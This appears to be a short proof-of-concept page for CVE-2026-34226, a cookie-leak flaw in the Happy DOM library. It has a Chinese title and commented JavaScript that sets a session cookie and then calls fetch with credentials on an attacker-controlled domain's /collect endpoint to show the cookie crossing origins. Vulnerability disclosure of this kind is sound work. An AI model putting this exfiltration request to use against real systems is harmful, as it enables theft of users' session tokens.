CVE-2026-34226 Happy DOM Cookie信息泄露漏洞

// This PoC demonstrates the cookie leakage in Happy DOM < 20.8.9 // It sets a cookie for the current origin and then makes a fetch request // to an external origin with credentials: 'include'. const { Window } = require('happy-dom'); const window = new Window(); // 1. Simulate the current environment (Origin A) having a sensitive cookie window.document.cookie = 'session_id=super_secret_token; Path=/'; console.log('Cookie on current origin:', window.document.cookie); // 2. Mock the fetch function to intercept the request headers // In a real attack scenario, this request goes to an attacker-controlled server (Origin B) const originalFetch = window.fetch; window.fetch = async (url, options) => { console.log(`[PoC] Sending request to: ${url}`); // In the vulnerable version, headers might contain cookies from window.location // even if 'url' is a different origin. return originalFetch(url, options); }; // 3. Trigger the vulnerable behavior // The Happy DOM bug causes cookies from Origin A to be sent to Origin B window.fetch('http://attacker-controlled-domain.com/collect', { method: 'GET', credentials: 'include' }).then(response => { console.log('Request completed. Cookie potentially leaked to external domain.'); }).catch(err => { console.error('Request failed:', err); });